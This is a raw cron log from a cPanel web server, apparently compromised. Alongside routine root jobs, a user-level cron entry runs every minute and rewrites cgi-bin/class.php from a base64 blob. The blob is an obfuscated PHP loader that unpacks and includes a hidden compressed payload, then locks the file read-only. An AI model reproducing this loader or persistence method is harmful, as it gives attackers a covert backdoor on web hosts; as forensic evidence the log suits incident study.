Sep 12 19:18:01 server CROND[32369]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:18:01 server CROND[32370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:19:01 server CROND[32746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:19:01 server CROND[32748]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:19:01 server CROND[32749]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:20:01 server CROND[811]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 19:20:01 server CROND[822]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 19:20:01 server CROND[831]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 19:20:01 server CROND[835]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 19:20:01 server CROND[836]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:20:01 server CROND[839]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 19:20:01 server CROND[838]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:20:01 server CROND[837]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 19:20:01 server CROND[840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:21:01 server CROND[1740]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:21:01 server CROND[1741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:21:01 server CROND[1742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:22:01 server CROND[2254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:22:01 server CROND[2253]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:22:01 server CROND[2255]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:23:01 server CROND[2655]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:23:01 server CROND[2656]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:23:01 server CROND[2657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:24:01 server CROND[3054]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:24:01 server CROND[3055]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:24:01 server CROND[3056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:25:01 server CROND[3447]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 19:25:01 server CROND[3449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:25:01 server CROND[3451]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:25:01 server CROND[3453]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 19:25:01 server CROND[3455]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 19:25:01 server CROND[3454]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 19:25:01 server CROND[3452]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:26:01 server CROND[4283]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:26:01 server CROND[4284]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:26:01 server CROND[4285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:27:01 server CROND[4754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:27:01 server CROND[4755]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 19:27:01 server CROND[4756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:27:01 server CROND[4757]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:28:01 server CROND[5212]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:28:01 server CROND[5213]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:28:01 server CROND[5214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:29:01 server CROND[5598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:29:01 server CROND[5599]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 19:29:01 server CROND[5601]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:30:01 server CROND[5997]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 19:30:01 server CROND[5998]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 19:30:01 server CROND[5999]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 19:30:01 server CROND[6003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
